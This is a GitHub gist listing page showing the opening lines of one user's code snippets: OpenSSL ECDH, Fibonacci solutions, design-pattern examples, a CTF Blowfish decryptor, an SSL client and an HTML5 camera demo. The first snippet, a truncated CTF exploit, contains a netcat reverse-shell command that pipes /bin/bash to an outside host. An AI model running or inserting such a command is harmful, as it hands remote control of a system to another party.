Skip to content

Instantly share code, notes, and snippets.

View AhnMo's full-sized avatar
🤔
Karma

Park Jung-hwan AhnMo

🤔
Karma
View GitHub Profile
#!/usr/bin/python
# Luckyzzang (HDCON 2013 Problem 5)
import socket, struct
p = lambda x: struct.pack('<L', x)
up = lambda x: struct.unpack('<L', x)[0]
command = 'nc 192.168.99.1 3334 | /bin/bash | nc 192.168.99.1 3333'
ppppr = p(0x080489cc)
sock_fd = p(4)
@AhnMo
AhnMo / ECDH.c
Created April 11, 2016 11:39
elliptic curve cryptography with openssl library
// ECDH.c
// $ gcc -o ECDH -lcrypto -lssl ECDH.c
#include <stdio.h>
#include <stdlib.h>
#include <openssl/ec.h>
#include <openssl/ecdh.h>
#include <openssl/obj_mac.h>
typedef struct _KEYPAIR {
BIGNUM *x, *y;
// acmicpc.net 1003
#include <stdio.h>
int zero, one;
int fibonacci(int n) {
if (n==0) {
zero++;
return 0;
} else if (n==1) {
one++;
// lavida.us 1723
#include <stdio.h>
unsigned long long int cache[91];
unsigned long long int fibo(int n) {
int a;
if (cache[n] != 0) return cache[n];
cache[n] = (n == 0 || n == 1)? n: fibo(n - 2) + fibo(n - 1);
return cache[n];
}
@AhnMo
AhnMo / celebrity.cc
Created April 24, 2016 08:18
Celebrity Problem, O(n^2) and O(n)
#include <iostream>
#include <list>
using namespace std;
#define N 4
int size = N;
bool MATRIX[N][N] = {
{0, 1, 1, 1},
{0, 0, 1, 1},
@AhnMo
AhnMo / fileupload.py
Last active April 4, 2021 11:01
python urllib2 file upload
import urllib2
import urllib
import itertools
import mimetools
import mimetypes
from cStringIO import StringIO
class MultiPartForm(object):
"""Accumulate the data to be used when posting a form."""
@AhnMo
AhnMo / Singleton1.cc
Created May 17, 2016 11:44
16 05 17 Design Pattern
// SingleTone 1
// singleton on bss
#include <iostream>
using namespace std;
class Cursor {
private:
// 규칙 1. private constructor
Cursor() { }
@AhnMo
AhnMo / cat_db_decryptor.py
Last active December 5, 2017 14:54
2017 WITHCON Prequals - 다산관 제육볶음 - Q10. catdb
from Crypto.Cipher import Blowfish
from struct import unpack
def once(d):
iv = '\x01\x02\x03\x04\x05\x06\x07\x08'
key, d = d[:2], d[2:]
name, d = d[:8], d[8:]
iv, name = name, Blowfish.new(key, Blowfish.MODE_CBC, iv).decrypt(name)
@AhnMo
AhnMo / SSLClient.cpp
Last active July 2, 2023 05:14 — forked from rashchupkinr/SSLClient.cpp
SSLClient for Windows
#include <stdio.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#include <openssl/ssl.h>
#include <openssl/err.h>
// include order is important.
using namespace std;
#pragma comment (lib, "Ws2_32.lib")
@AhnMo
AhnMo / camera.html
Created December 16, 2017 05:46
HTML5 Camera Example
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8" />
<title>HTML5 Camera example</title>
</head>
<body>
<video id="video" width="640" height="480" autoplay></video>
<script type="text/javascript">
var video = document.getElementById('video');